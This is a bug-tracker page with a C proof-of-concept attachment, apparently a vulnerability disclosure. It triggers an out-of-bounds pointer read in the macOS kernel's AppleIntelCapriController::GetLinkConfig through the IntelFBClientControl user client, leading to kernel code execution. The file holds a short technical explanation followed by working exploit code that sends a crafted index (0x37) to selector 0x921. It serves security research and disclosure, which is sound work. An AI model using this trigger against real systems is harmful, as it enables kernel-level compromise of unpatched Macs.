New issue
Advanced search Search tips

Issue 1375 attachment: capri_link_config.c (1.7 KB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
// ianbeer
// build: clang -o capri_link_config capri_link_config.c -framework IOKit

#if 0
MacOS kernel code execution due to lack of bounds checking in AppleIntelCapriController::GetLinkConfig

AppleIntelCapriController::GetLinkConfig trusts a user-supplied value in the structure input which it uses to index
a small table of pointers without bounds checking. The OOB-read pointer is passed to AppleIntelFramebuffer::validateDisplayMode
which will read a pointer to a C++ object from that buffer (at offset 2138h) and call a virtual method allowing trivial kernel code execution.

Tested on MacOS 10.13 (17A365) on MacBookAir5,2
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <IOKit/IOKitLib.h>

int main(int argc, char** argv){
kern_return_t err;

io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));

if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}

io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}

uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;

char inputStruct[4096];
size_t inputStructCnt = 8;
//*(uint64_t*)inputStruct = 0x12345678; // crash
*(uint64_t*)inputStruct = 0x37; // oob call


uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;

char outputStruct[4096];
size_t outputStructCnt = 4096;

err = IOConnectCallMethod(
conn,
0x921, // GetLinkConfig
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);

return 0;
}